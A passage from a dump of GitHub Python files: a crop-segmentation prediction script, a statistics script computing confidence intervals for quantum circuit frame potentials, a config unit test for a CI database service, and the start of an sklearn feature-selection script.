tf.keras.losses.SparseCategoricalCrossentropy() \r\n\r\n# learning rate\r\nlr = 1e-3\r\noptimizer = tf.keras.optimizers.Adam(learning_rate=lr)\r\n\r\n\r\n# Here we define the intersection over union for each class in the batch.\r\n# Then we compute the final iou as the mean over classes\r\ndef meanIoU(y_true, y_pred):\r\n # get predicted class from softmax\r\n y_pred = tf.expand_dims(tf.argmax(y_pred, -1), -1)\r\n\r\n per_class_iou = []\r\n\r\n for i in range(1,3): # exclude the background class 0\r\n # Get prediction and target related to only a single class (i)\r\n \r\n class_pred = tf.cast(tf.where(y_pred == i, 1, 0), tf.float32)\r\n class_true = tf.cast(tf.where(y_true == i, 1, 0), tf.float32)\r\n intersection = tf.reduce_sum(class_true * class_pred)\r\n union = tf.reduce_sum(class_true) + tf.reduce_sum(class_pred) - intersection\r\n \r\n iou = (intersection + 1e-7) / (union + 1e-7)\r\n per_class_iou.append(iou)\r\n\r\n return tf.reduce_mean(per_class_iou)\r\n\r\nmetrics = ['accuracy', meanIoU]\r\n# ------------------\r\n\r\n# Compile Model\r\nmodel.compile(optimizer=optimizer, loss=loss, metrics=metrics)\r\n\r\n#I load the weights\r\nmodel.load_weights(ckpt_elem)\r\n\r\n##############################################################################################\r\n\r\n#I do the predictions\r\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\r\n\r\ntest_img_data_gen = ImageDataGenerator()\r\n\r\ntest_dir = os.path.join(curr_dir, 'Test_Dev\\\\Bipbip\\\\Haricot')\r\ntest_gen = test_img_data_gen.flow_from_directory(test_dir,\r\n target_size=(img_h, img_w), \r\n class_mode=None, \r\n shuffle=False,\r\n interpolation='bilinear',\r\n seed=SEED,\r\n classes = ['Images'])\r\n\r\ntest_dataset = tf.data.Dataset.from_generator(lambda: test_gen,\r\n output_types=tf.float32,\r\n output_shapes=[None, img_h, img_w, 3])\r\n\r\niterator = iter(test_dataset)\r\n\r\nout = next(iterator)\r\n\r\n#############################################################################################\r\n#I test the model on a picture in the test set\r\nindex = 5\r\nimage = out[index]\r\n\r\nprediction = model.predict(tf.expand_dims(image, 0))\r\n\r\npredicted_class = tf.argmax(prediction, -1)\r\n\r\npredicted_class = predicted_class[0, ...]\r\n\r\n# Assign colors (just for visualization)\r\nprediction_img = np.zeros([img_h, img_w, 3])\r\nprediction_img[np.where(predicted_class == 0)] = [0, 0, 0]\r\nprediction_img[np.where(predicted_class == 1)] = [255, 255, 255]\r\nprediction_img[np.where(predicted_class == 2)] = [255, 0, 0]\r\n\r\nplt.imshow(prediction_img)\r\n\r\n################################################################################################\r\n\r\ndef rle_encode(img):\r\n '''\r\n img: numpy array, 1 - foreground, 0 - background\r\n Returns run length as string formatted\r\n '''\r\n pixels = img.flatten()\r\n pixels = np.concatenate([[0], pixels, [0]])\r\n runs = np.where(pixels[1:] != pixels[:-1])[0] + 1\r\n runs[1::2] -= runs[::2]\r\n return ' '.join(str(x) for x in runs)\r\n\r\n###############################################################################################\r\n\r\nteams = [\"Bipbip\", \"Pead\", \"Roseau\", \"Weedelec\"]\r\ncrops = [\"Haricot\", \"Mais\"]\r\n\r\nsubmission_dict = {}\r\n\r\nfor team in teams:\r\n for crop in crops:\r\n \r\n #directory\r\n test_dir = os.path.join(curr_dir, 'Test_Dev', team, crop, 'Images')\r\n \r\n #I get the list of image names\r\n names_list = os.listdir(test_dir)\r\n names_list = sorted(names_list)\r\n \r\n for img_name in names_list:\r\n \r\n image = Image.open(os.path.join(test_dir, img_name))\r\n \r\n img_name = img_name.replace('.jpg',\"\").replace('.png',\"\")\r\n \r\n initial_size = list(image.size)\r\n image = image.resize([img_w, img_h])\r\n \r\n img_arr = np.array(image)\r\n #img_arr = preprocess_input(img_arr) #If I have used some prepocess like the one for vgg\r\n \r\n prediction = model.predict(tf.expand_dims(img_arr, axis=0))\r\n mask_arr = tf.argmax(prediction, -1) \r\n mask_arr = np.array(mask_arr[0, ...])\r\n \r\n mask_arr = cv2.resize(mask_arr, dsize=(initial_size[0], initial_size[1]), interpolation=cv2.INTER_NEAREST)\r\n \r\n submission_dict[img_name] = {}\r\n submission_dict[img_name]['shape'] = mask_arr.shape\r\n submission_dict[img_name]['team'] = team\r\n submission_dict[img_name]['crop'] = crop\r\n submission_dict[img_name]['segmentation'] = {}\r\n\r\n rle_encoded_crop = rle_encode(mask_arr == 1)\r\n rle_encoded_weed = rle_encode(mask_arr == 2)\r\n\r\n submission_dict[img_name]['segmentation']['crop'] = rle_encoded_crop\r\n submission_dict[img_name]['segmentation']['weed'] = rle_encoded_weed\r\n \r\n \r\n with open('submission.json', 'w') as f:\r\n json.dump(submission_dict, f)\r\n ","repo_name":"carloghiglione/crop_image_segmentation","sub_path":"submit_encoder_decoder_model.py","file_name":"submit_encoder_decoder_model.py","file_ext":"py","file_size_in_byte":9526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"10810969089","text":"import sys\nimport pandas as pd\nfrom pandas import Series,DataFrame\nimport numpy as np\nfrom scipy import stats\nfrom pathlib import Path\nimport re\nimport math\nfrom PIL import Image\nimport matplotlib.pyplot as plt\n\n#link {https://www.math.wustl.edu/~sawyer/handouts/Jackknife.pdf}\n#link {https://towardsdatascience.com/calculating-confidence-interval-with-bootstrapping-872c657c058d}\n\nROOT_PATH = \"/mnt/d/quantum\"\n\n#estimator type of a frame potential\nB12 = \"B12\"\nB15 = \"B15\"\nB12_JACKKNIFE = \"B12_Jackknife\"\n\n#parameters class\nclass Para:\n def __init__(self, culcType=B12, circuit=\"LRC\", Ntimes=1000, depth=10, t=1, Nq=7, Nsample=100) -> None:\n self.culcType=culcType\n self.circuit=circuit\n self.Ntimes=Ntimes\n self.depth=depth\n self.t=t\n self.Nq=Nq\n self.Nsample=Nsample\n\ndef get_file_name(para : Para):\n if para.culcType == B12_JACKKNIFE:\n if para.circuit=='RC':\n return f'{para.circuit}_Nq{para.Nq}_t{para.t}_sample{para.Nsample}'\n if para.circuit=='LRC' or para.circuit=='RDC':\n return f'{para.circuit}_Nq{para.Nq}_depth{para.depth}_t{para.t}_sample{para.Nsample}'\n elif para.culcType == B12 or para.culcType == B15:\n if para.circuit=='RC':\n return f'{para.circuit}_Nq{para.Nq}_{para.Ntimes}times_t{para.t}_sample{para.Nsample}'\n if para.circuit=='LRC' or para.circuit=='RDC':\n return f'{para.circuit}_Nq{para.Nq}_{para.Ntimes}times_depth{para.depth}_t{para.t}_sample{para.Nsample}'\n else:\n return None\n\ndef glob_file_name(para : Para):\n return f'{para.circuit}_Nq{para.Nq}_*times_depth{para.depth}_t{para.t}_sample*' \n\ndef get_data(para : Para) -> Series or None:\n try:\n if para.culcType == B12_JACKKNIFE:\n return pd.read_csv(f\"{ROOT_PATH}/result/jackknife/\"+get_file_name(para)+\".csv\")['value']\n elif para.culcType == B12 or para.culcType == B15:\n return pd.read_csv(f\"{ROOT_PATH}/result/{para.Ntimes}times/\"+get_file_name(para)+\".csv\")['value']\n except FileNotFoundError:\n return None\n except KeyError:\n return None\n\n# def ecdf(data :Series):\n# n=len(data)\n# x=np.sort(data)\n# y=np.arange(1,n+1)/n\n# return x,y\n\n# def save_plot_ecdf_image(data :Series, para :Para):\n# \"\"\"Plot ecdf\"\"\"\n# # Call get_ecdf function and assign the returning values\n# x, y = ecdf(data)\n \n# plt.clf()\n# plt.plot(x,y,marker='.',linestyle='none')\n# plt.xlabel(\"FP\")\n# plt.ylabel(\"\")\n# plt.title(\"ECDF\")\n# plt.savefig(\"{ROOT_PATH}/result/figure/ecdf_\"+get_file_name(para)+\".png\")\n\n# def draw_bs_replicates(data :Series, func, size :int):\n# \"\"\"creates a bootstrap sample, computes replicates and returns replicates array\"\"\"\n# # Create an empty array to store replicates\n# bs_replicates = np.empty(size)\n \n# # Create bootstrap replicates as much as size\n# for i in range(size):\n# # Create a bootstrap sample\n# bs_sample = np.random.choice(data,size=len(data))\n# # Get bootstrap replicate and append to bs_replicates\n# bs_replicates[i] = func(bs_sample)\n \n# return bs_replicates\n\n# def save_some_plot_image(para:Para):\n# plt.clf()\n# data_files=[]\n# for f in Path(\"{ROOT_PATH}/result/\").glob(f\"*/{glob_file_name(para)}.csv\"):\n# data_files.append(str(f))\n# size=len(data_files)\n# fig = plt.figure(figsize=(5*size,5))\n# percentiles = {}\n# for i in range(size):\n# file=data_files[i]\n# Ntimes=int(re.findall(r'_([0-9]+)times_', str(file))[0])\n# Nsample=int(re.findall(r'_sample([0-9]+).', str(file))[0])\n# para.Ntimes=Ntimes\n# para.Nsample=Nsample\n# data=get_data(para)\n# bs_replicates_data = draw_bs_replicates(data,np.mean,15000)\n\n# hist_ax=fig.add_subplot(2,size,i+1)\n# bs_ax=fig.add_subplot(2,size,size+i+1)\n\n# hist_ax.set_title(f\"{Ntimes}times Nsample:{Nsample}\")\n# hist_ax.hist(data,bins=30,density=True)\n# # p1=[2.5]\n# # p2=[97.5]\n# p1=[5.5]\n# p2=[94.5]\n# pt_left=np.percentile(data,p1)\n# pt_center=np.percentile(data,[50])\n# pt_right=np.percentile(data,p2)\n# percentiles[f'{para.depth}_{para.t}_{Ntimes}_{Nsample}_{p1[0]}']=pt_left\n# percentiles[f'{para.depth}_{para.t}_{Ntimes}_{Nsample}_{50}']=pt_center\n# percentiles[f'{para.depth}_{para.t}_{Ntimes}_{Nsample}_{p2[0]}']=pt_right\n# percentiles[f'{para.depth}_{para.t}_{Ntimes}_{Nsample}_minus']=pt_left-pt_center\n# percentiles[f'{para.depth}_{para.t}_{Ntimes}_{Nsample}_plus']=pt_right-pt_center\n# hist_ax.axvline(x=pt_left, ymin=0, ymax=1,label=f'{p1[0]}th percentile',c='y')\n# hist_ax.axvline(x=pt_right, ymin=0, ymax=1,label=f'{p2[0]}th percentile',c='r')\n# # hist_ax.legend(loc = 'upper right')\n# bs_ax.hist(bs_replicates_data,bins=30,density=True)\n# pt_left=np.percentile(bs_replicates_data,[2.5])\n# pt_center=np.percentile(bs_replicates_data,[50])\n# pt_right=np.percentile(bs_replicates_data,[97.5])\n# percentiles[f'{para.depth}_{para.t}_{Ntimes}_{Nsample}_{p1[0]}_bs']=pt_left\n# percentiles[f'{para.depth}_{para.t}_{Ntimes}_{Nsample}_{50}_bs']=pt_center\n# percentiles[f'{para.depth}_{para.t}_{Ntimes}_{Nsample}_{p2[0]}_bs']=pt_right\n# percentiles[f'{para.depth}_{para.t}_{Ntimes}_{Nsample}_minus_bs']=pt_left-pt_center\n# percentiles[f'{para.depth}_{para.t}_{Ntimes}_{Nsample}_plus_bs']=pt_right-pt_center\n# bs_ax.axvline(x=pt_left, ymin=0, ymax=1,label=f'{p1[0]}th percentile',c='y')\n# bs_ax.axvline(x=pt_right, ymin=0, ymax=1,label=f'{p2[0]}th percentile',c='r')\n# # fig.tight_layout() #レイアウトの設定\n# for k, v in percentiles.items():\n# print(k, \"\\t\", v[0])\n\n# plt.savefig(f\"{ROOT_PATH}/result/figure/all_Nq{para.Nq}_depth{para.depth}_t{para.t}.png\")\n\n# def test():\n# fig = plt.figure(figsize=(5*2,5))\n# data=np.random.normal(loc=1, scale=1, size=5000)\n# data=np.append(data, np.random.normal(loc=5, scale=1, size=7500))\n# bs_replicates_data = draw_bs_replicates(data,np.mean,5000)\n\n# hist_ax=fig.add_subplot(2,1,1)\n# bs_ax=fig.add_subplot(2,1,2)\n\n# # hist_ax.set_title(f\"{Ntimes}times Nsample:{Nsample}\")\n# # p1=[2.5]\n# # p2=[97.5]\n# p1=[5.5]\n# p2=[94.5]\n# hist_ax.hist(data,bins=30,density=True)\n# pt_left=np.percentile(data,p1)\n# pt_right=np.percentile(data,p2)\n# hist_ax.axvline(x=pt_left, ymin=0, ymax=1,label=f'{p1[0]}th percentile',c='y')\n# hist_ax.axvline(x=pt_right, ymin=0, ymax=1,label=f'{p2[0]}th percentile',c='r')\n# bs_ax.hist(bs_replicates_data,bins=30,density=True)\n# pt_left=np.percentile(bs_replicates_data,p1)\n# pt_right=np.percentile(bs_replicates_data,p1)\n# bs_ax.axvline(x=pt_left, ymin=0, ymax=1,label=f'{p1[0]}th percentile',c='y')\n# bs_ax.axvline(x=pt_right, ymin=0, ymax=1,label=f'{p2[0]}th percentile',c='r')\n\n# plt.savefig(f\"{ROOT_PATH}/result/figure/test.png\")\n\n# bootstrap confidence interval\n# return left, mean, right\ndef bootstrap(data, statistic, *, n_resamples=9999, batch=None,\n vectorized=True, paired=False, axis=0, confidence_level=0.95,\n method='BCa', random_state=None):\n # Input validation\n args = stats._resampling._bootstrap_iv(data, statistic, vectorized, paired, axis,\n confidence_level, n_resamples, batch, method,\n random_state)\n data, statistic, vectorized, paired, axis = args[:5]\n confidence_level, n_resamples, batch, method, random_state = args[5:]\n\n theta_hat_b = []\n\n batch_nominal = batch or n_resamples\n\n for k in range(0, n_resamples, batch_nominal):\n batch_actual = min(batch_nominal, n_resamples-k)\n # Generate resamples\n resampled_data = []\n for sample in data:\n resample = stats._resampling._bootstrap_resample(sample, n_resamples=batch_actual,\n random_state=random_state)\n resampled_data.append(resample)\n\n # Compute bootstrap distribution of statistic\n theta_hat_b.append(statistic(*resampled_data, axis=-1))\n theta_hat_b = np.concatenate(theta_hat_b, axis=-1)\n\n # Calculate percentile interval\n alpha = (1 - confidence_level)/2\n if method == 'bca':\n interval = stats._resampling._bca_interval(data, statistic, axis=-1, alpha=alpha,\n theta_hat_b=theta_hat_b, batch=batch)\n percentile_fun = stats._resampling._percentile_along_axis\n else:\n interval = alpha, 1-alpha\n\n def percentile_fun(a, q):\n return np.percentile(a=a, q=q, axis=-1)\n\n # Calculate confidence interval of statistic\n ci_l = percentile_fun(theta_hat_b, interval[0]*100)\n ci_u = percentile_fun(theta_hat_b, interval[1]*100)\n if method == 'basic': # see [3]\n theta_hat = statistic(*data, axis=-1)\n ci_l, ci_u = 2*theta_hat - ci_u, 2*theta_hat - ci_l\n\n # return stats._resampling.BootstrapResult(confidence_interval=stats._resampling.ConfidenceInterval(ci_l, ci_u),\n # standard_error=np.std(theta_hat_b, ddof=1, axis=-1))\n return ci_l, np.mean(theta_hat_b), ci_u\n\ndef chebyshevs_inequality_confidence_interval(data :Series, k:float=3) -> tuple[float, float]:\n N=len(data)\n mean=np.mean(data)\n std=np.std(data)\n H=k*std/math.sqrt(N)\n return mean, H\n\ndef main_jackknife():\n Nq_list=[2,3,4,5,6,7]\n t_list=[1,2,3,4]\n depth=10\n circuit_list={'RC', 'LRC', 'RDC'}\n csv=DataFrame(columns=Nq_list, index=t_list, dtype=object)\n for circuit in circuit_list:\n for Nq in Nq_list:\n for t in t_list:\n para=Para(culcType=B12_JACKKNIFE, circuit=circuit, t=t, depth=depth, Nq=Nq, Nsample=1000)\n data=get_data(para)\n if data is None:\n continue\n ps_mean=np.mean(data)\n vps=np.sum([math.pow(psi-ps_mean, 2) for psi in data]) / (len(data)-1)\n conf = 1.960 * math.sqrt(vps/len(data))\n csv[Nq][t] = f\"{round(ps_mean, 3)}{'±'}{round(conf, 3)}\"\n print(csv)\n csv.to_csv(f'{ROOT_PATH}/result/total/jackknife95_{circuit}_D{depth}.csv')\n\n Nq_list=[2,3,4,5,6,7]\n depth_list=[3,4,5,6,7,8,9,10]\n t_list=[1,2,3,4]\n circuit_list={'LRC', 'RDC'}\n for circuit in circuit_list:\n for t in t_list:\n csv=DataFrame(columns=Nq_list, index=depth_list, dtype=object)\n for Nq in Nq_list:\n for depth in depth_list:\n para=Para(culcType=B12_JACKKNIFE, circuit=circuit, t=t, depth=depth, Nq=Nq, Nsample=1000)\n data=get_data(para)\n if data is None:\n continue\n ps_mean=np.mean(data)\n vps=np.sum([math.pow(psi-ps_mean, 2) for psi in data]) / (len(data)-1)\n conf = 1.960 * math.sqrt(vps/len(data))\n csv[Nq][depth] = f\"{round(ps_mean, 3)}{'±'}{round(conf, 3)}\"\n print(csv)\n csv.to_csv(f'{ROOT_PATH}/result/total/jackknife95_{circuit}_t{t}.csv')\n\n # Nq_list=[2,3,4,5,6,7]\n # t_list=[1,2,3,4]\n # circuit_list={'LRC', 'RDC'}\n # for circuit in circuit_list:\n # for t in t_list:\n # csv=DataFrame(columns=[f\"{Nq}qubit\" for Nq in Nq_list], index=[\"ps\", \"vps\", \"conf\", \"skew\", \"kurt\", \"result\"], dtype=object)\n # for Nq in Nq_list:\n # para=Para(culcType=B12_JACKKNIFE, circuit=circuit, t=t, depth=10, Nq=Nq, Nsample=1000)\n # data=get_data(para)\n # if data is None:\n # continue\n # ps_mean=np.mean(data)\n # vps=np.sum([math.pow(psi-ps_mean, 2) for psi in data]) / (len(data)-1)\n # conf = 1.960 * math.sqrt(vps/len(data))\n # csv[f\"{Nq}qubit\"][\"ps\"] = ps_mean\n # csv[f\"{Nq}qubit\"][\"vps\"] = vps\n # csv[f\"{Nq}qubit\"][\"conf\"] = conf\n # csv[f\"{Nq}qubit\"][\"skew\"] = data.skew()\n # csv[f\"{Nq}qubit\"][\"kurt\"] = data.kurt()\n # csv[f\"{Nq}qubit\"][\"result\"] = f\"{round(ps_mean, 4)}{'±'}{round(conf, 4)}\"\n # # csv[f\"{Nq}qubit\"][\"result\"] = (ps_mean, conf)\n # # print(csv)\n # csv.to_csv(f'{ROOT_PATH}/result/total/jackknife_{circuit}_t{t}.csv')\n\n # t_list=[1,2,3,4]\n # for t in t_list:\n # para=Para(culcType=B12_JACKKNIFE, circuit=\"RDC\", depth=10, t=t, Nq=7, Nsample=1000)\n # title=f'jackknife_{para.circuit}_Nq{para.Nq}_t{para.t}_sample{para.Nsample}'\n # data=get_data(para)\n # ps_mean=np.mean(data)\n # vps=np.sum([math.pow(psi-ps_mean, 2) for psi in data]) / (len(data)-1)\n # conf = 1.960 * math.sqrt(vps/len(data))\n # print(ps_mean, vps, conf, data.skew(), data.kurt())\n # plt.title(title)\n # plt.hist(data, bins=30, density=True)\n # # plt.hist(data, bins=30, density=True, range=[0, math.factorial(t)*2])\n # plt.axvline(x=[math.factorial(t)], ymin=0, ymax=1, c='y')\n # plt.axvline(x=[ps_mean], ymin=0, ymax=1, c='r')\n # plt.axvline(x=[ps_mean-conf], ymin=0, ymax=1, c='r')\n # plt.axvline(x=[ps_mean+conf], ymin=0, ymax=1, c='r')\n # plt.savefig(f\"{ROOT_PATH}/result/figure/{title}.png\")\n # plt.clf()\n\ndef main_bootstrap(alpha=0.95):\n Nq_list=[2,3,4,5,6,7]\n depth_list=[5,6,7,8,9,10,11,12,13,14]\n t_list=[1,2,3,4,5,6]\n # Nsample=200\n rng=np.random.default_rng()\n Ntimes=1000\n Nsample=100\n circuit_list={'LRC', 'RDC'}\n for circuit in circuit_list:\n for t in t_list:\n csv=DataFrame(columns=Nq_list, index=depth_list, dtype=object)\n for Nq in Nq_list:\n for depth in depth_list:\n para=Para(culcType=B12, circuit=circuit, Ntimes=Ntimes, t=t, depth=depth, Nq=Nq, Nsample=Nsample)\n data=get_data(para)\n if data is None:\n continue\n ci_mean=bootstrap((data,), np.mean, confidence_level=alpha, n_resamples=10000, random_state=rng, method=\"BCa\")\n mean=round(ci_mean[1], 3)\n lci=round(ci_mean[0]-ci_mean[1], 3)\n rci=round(ci_mean[2]-ci_mean[1], 3)\n # print(Nq, t, mean, lci, rci)\n csv[Nq][depth] = f\"{mean} +{rci}, {lci}\"\n print(csv)\n csv.to_csv(f'{ROOT_PATH}/result/total/bootstrap{alpha}_{circuit}_t{t}_Ntimes{Ntimes}_Nsample{Nsample}.csv', sep=\"\\t\")\n \n Nq_list=[2,3,4,5,6,7]\n t_list=[1,2,3,4]\n depth=10\n circuit_list={'RC', 'LRC', 'RDC'}\n rng=np.random.default_rng()\n csv=DataFrame(columns=Nq_list, index=t_list, dtype=object)\n for circuit in circuit_list:\n for Nq in Nq_list:\n for t in t_list:\n para=Para(culcType=B12, circuit=circuit, depth=depth, Ntimes=Ntimes, t=t, Nq=Nq, Nsample=Nsample)\n data=get_data(para)\n if data is None:\n continue\n ci_mean=bootstrap((data,), np.mean, confidence_level=alpha, n_resamples=10000, random_state=rng, method=\"BCa\")\n mean=round(ci_mean[1], 3)\n lci=round(ci_mean[0]-ci_mean[1], 3)\n rci=round(ci_mean[2]-ci_mean[1], 3)\n print(Nq, t, mean, lci, rci)\n csv[Nq][t] = f\"{mean} +{rci}, {lci}\"\n csv.to_csv(f'{ROOT_PATH}/result/total/bootstrap{alpha}_{circuit}_Ntimes{Ntimes}_Nsample{Nsample}.csv', sep=\"\\t\")\n\ndef main_chebyshevs(alpha=0.95):\n Nq_list=[2,3,4,5,6,7]\n # Nq_list=[3,4,5,6,7]\n t_list=[1,2,3,4]\n depth_list=[3,4,5,6,7,8,9,10]\n Ntimes=40\n Nsample=25\n circuit_list={'LRC', 'RDC'}\n for circuit in circuit_list:\n for t in t_list:\n csv=DataFrame(columns=Nq_list, index=depth_list, dtype=object)\n for Nq in Nq_list:\n for depth in depth_list:\n para=Para(culcType=B12, circuit=circuit, Ntimes=Ntimes, t=t, depth=depth, Nq=Nq, Nsample=Nsample)\n data=get_data(para)\n if data is None:\n continue\n mean, H=chebyshevs_inequality_confidence_interval(data, k=math.sqrt(1./(1-alpha)))\n csv[Nq][depth] = f\"{round(mean, 3)}{'±'}{round(H, 3)}\"\n # csv[Nq][depth] = (int(mean*1000)/1000, int(H*1000)/1000)\n # print(Nq, depth, mean, H)\n print(csv)\n csv.to_csv(f'{ROOT_PATH}/result/total/chebyshevs{alpha}_{circuit}_t{t}_Ntimes{Ntimes}_Nsample{Nsample}.csv')\n\n Nq_list=[2,3,4,5,6,7]\n t_list=[1,2,3,4]\n depth=10\n circuit_list={'RC', 'LRC', 'RDC'}\n csv=DataFrame(columns=Nq_list, index=t_list, dtype=object)\n for circuit in circuit_list:\n for Nq in Nq_list:\n for t in t_list:\n para=Para(culcType=B12, circuit=circuit, depth=depth, Ntimes=Ntimes, t=t, Nq=Nq, Nsample=Nsample)\n data=get_data(para)\n if data is None:\n continue\n mean, H=chebyshevs_inequality_confidence_interval(data, k=math.sqrt(1./(1-alpha)))\n # mean, H=chebyshevs_inequality_confidence_interval(np.sort(data)[100:-100], k=3)\n print(Nq, t, mean, H)\n csv[Nq][t] = f\"{round(mean, 3)}{'±'}{round(H, 3)}\"\n # csv[Nq][t] = (int(mean*1000)/1000, int(H*1000)/1000)\n csv.to_csv(f'{ROOT_PATH}/result/total/chebyshevs{alpha}_{circuit}_Ntimes{Ntimes}_Nsample{Nsample}.csv')\n\nif __name__ == \"__main__\":\n alpha=[0.89, 0.95]\n for a in alpha:\n main_chebyshevs(alpha=a)\n main_bootstrap(alpha=a)\n main_jackknife()\n # test()\n","repo_name":"TakayaNo1/t-design","sub_path":"fp/statistics.py","file_name":"statistics.py","file_ext":"py","file_size_in_byte":17963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"29594528927","text":"# -*- coding: utf-8 -*-\n\nimport unittest\n\nfrom ..tools import CONFIG_FILE, cursor, parse, setup_db\n\n\nclass InitialisationCase(unittest.TestCase):\n def test_config(self):\n config = parse(CONFIG_FILE)\n expected = {\n \"celery\": {\"broker\": \"amqp://rabbitmq\"},\n \"db\": {\"host\": \"\", \"name\": \"ci_ref\", \"port\": \"\", \"user\": \"odoo\"},\n \"admin\": {\"token\": \"super-token\"},\n \"projects\": {\n \"bar\": {\n \"domain\": \"ci.dy\",\n \"port_mapping_active\": False,\n \"port_mapping_max\": None,\n \"port_mapping_start\": None,\n \"spare_pool\": 2,\n \"token\": \"bar-token\",\n \"user\": \"foo\",\n },\n \"foo\": {\n \"domain\": \"ci.dy\",\n \"port_mapping_active\": True,\n \"port_mapping_max\": 5,\n \"port_mapping_start\": 8000,\n \"spare_pool\": 3,\n \"token\": \"foo-token\",\n \"user\": \"foo\",\n },\n },\n }\n self.assertEqual(config, expected)\n\n def test_setup(self):\n with cursor(\"postgres\") as cr:\n cr.execute(\"DROP DATABASE IF EXISTS ci_ref\")\n setup_db()\n with cursor(\"ci_ref\") as cr:\n cr.execute(\n \"\"\"SELECT EXISTS\n (SELECT 1\n FROM information_schema.tables\n WHERE table_name = 'port_mapping'\n )\"\"\"\n )\n res = cr.fetchall()\n self.assertTrue(res[0][0])\n","repo_name":"akretion/cidbservice","sub_path":"cidbservice/tests/test_config.py","file_name":"test_config.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"12269236785","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Sep 17 16:02:10 2022\r\n\r\n@author: trunil\r\n\"\"\"\r\n\r\n\r\nimport numpy as np\r\nnp.random.seed(100)\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\n#pipeline\r\nfrom sklearn.pipeline import Pipeline\r\n\r\n#scalers\r\nfrom sklearn.preprocessing import QuantileTransformer\r\nfrom sklearn.preprocessing import StandardScaler\r\n\r\n#models\r\nfrom sklearn.svm import SVC\r\nfrom sklearn.neural_network import MLPClassifier\r\nfrom sklearn.ensemble import RandomForestClassifier\r\n\r\n# report\r\nfrom sklearn.metrics import classification_report\r\n\r\n#train-test split\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.model_selection import StratifiedShuffleSplit\r\n\r\n#metrics\r\nfrom sklearn.metrics import accuracy_score\r\n\r\n# GridSearch\r\nfrom sklearn.model_selection import GridSearchCV\r\n\r\n#pickle for importing saved model\r\nimport joblib\r\n\r\n\r\n#%%\r\n\r\n# Run the data processing and model training files and import functions\r\nfrom silva_data_process import *\r\n\r\nfrom silva_ml_functions import *\r\n\r\n#%%\r\n\r\ndef run_rfc(X_train, X_test, y_train, y_test):\r\n scaler = QuantileTransformer(n_quantiles=100)\r\n model_rfc = RandomForestClassifier()\r\n \r\n pipe_rfc = Pipeline([('scaler', scaler),\r\n ('model', model_rfc)])\r\n \r\n param_grid = {\r\n 'model__max_depth': [1,5, 8, 10, 15, 20],\r\n 'model__n_estimators': [1,5, 8, 10, 15, 20],\r\n 'model__min_samples_split': [2, 5, 10]\r\n }\r\n \r\n \r\n #print('*'*5)\r\n \r\n CV_rfc = GridSearchCV(estimator=pipe_rfc,\r\n param_grid=param_grid,\r\n scoring='f1_micro',\r\n cv= 10,\r\n return_train_score=False,\r\n verbose=1)\r\n \r\n #print('\\n\\n grid search starting')\r\n grid_search_rfc = CV_rfc.fit(X_train, y_train)\r\n \r\n # save rfc grid search\r\n joblib.dump(grid_search_rfc, 'silva_grid_search_rfc.pckl')\r\n \r\n #print('\\n\\n grid search done')\r\n \r\n \r\n # define model\r\n best_model_rfc = grid_search_rfc.best_estimator_\r\n \r\n #fit\r\n best_model_rfc.fit(X_train, y_train)\r\n \r\n #predict\r\n y_pred = best_model_rfc.predict(X_test)\r\n \r\n # f1 score\r\n f1_rfc = f1_score(y_test, y_pred, average='micro')\r\n \r\n print('F1 score with feature selection is: ', f1_rfc)\r\n\r\n\r\n#%%\r\n''' Chi-squared feaure selection'''\r\nprint('\\n\\nChi-squared feaure selection')\r\n\r\nfrom sklearn.feature_selection import SelectKBest\r\nfrom sklearn.feature_selection import chi2\r\nfrom sklearn.preprocessing import MinMaxScaler\r\n\r\n\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\r\n\r\n# scale\r\nscaler = QuantileTransformer(n_quantiles=100)\r\nX_train = scaler.fit_transform(X_train)\r\n\r\nnum_feats = 10\r\n\r\n#X_norm = MinMaxScaler().fit_transform(X_train)\r\nchi_selector = SelectKBest(chi2, k=num_feats)\r\nchi_selector.fit(X_train, y_train)\r\nchi_support = chi_selector.get_support()\r\nchi_feature = filtered_data.loc[:,chi_support].columns.tolist()\r\nprint(str(len(chi_feature)), 'selected features')\r\n\r\n#%%% ml with feature selected data\r\n\r\nsel_data = filtered_data[chi_feature]\r\n\r\nX = sel_data.to_numpy()\r\n\r\n\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\r\n\r\n\r\n#%% transformation\r\n\r\n# fourier\r\nX_train, X_test = fourier(X_train, X_test)\r\n\r\n# tsne transform\r\nX_train, X_test = tsne(X_train, X_test)\r\n\r\n\r\n#%%\r\nprint('\\n\\nChi-squared : ML-RFC')\r\n\r\nrun_rfc(X_train, X_test, y_train, y_test)\r\n \r\n#%%\r\n#%% \r\n'''Recursive feature elimination'''\r\n# can be used with any model\r\nprint('\\n\\nRecursive feature elimination')\r\n\r\nfrom sklearn.feature_selection import RFE\r\n\r\nX = (filtered_data.copy()\r\n .to_numpy()\r\n )\r\n\r\n\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\r\n\r\n\r\n# scale\r\nscaler = QuantileTransformer(n_quantiles=100)\r\nX_train = scaler.fit_transform(X_train)\r\n\r\n\r\nnum_feats = 10\r\n\r\nrfe_selector = RFE(estimator=RandomForestClassifier(),\r\n n_features_to_select=num_feats,\r\n step=10,\r\n verbose=5)\r\n\r\nrfe_selector.fit(X_train, y_train)\r\nrfe_support = rfe_selector.get_support()\r\nrfe_feature = filtered_data.loc[:,rfe_support].columns.tolist()\r\nprint(str(len(rfe_feature)), 'selected features')\r\n\r\n#%%% ml with feature selected data\r\n\r\nsel_data = filtered_data[rfe_feature]\r\n\r\nX = sel_data.to_numpy()\r\n\r\n\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\r\n\r\n#%% transformation\r\n\r\n# fourier\r\nX_train, X_test = fourier(X_train, X_test)\r\n\r\n# tsne transform\r\nX_train, X_test = tsne(X_train, X_test)\r\n\r\n\r\n#%%\r\nprint('\\n\\nRFE : 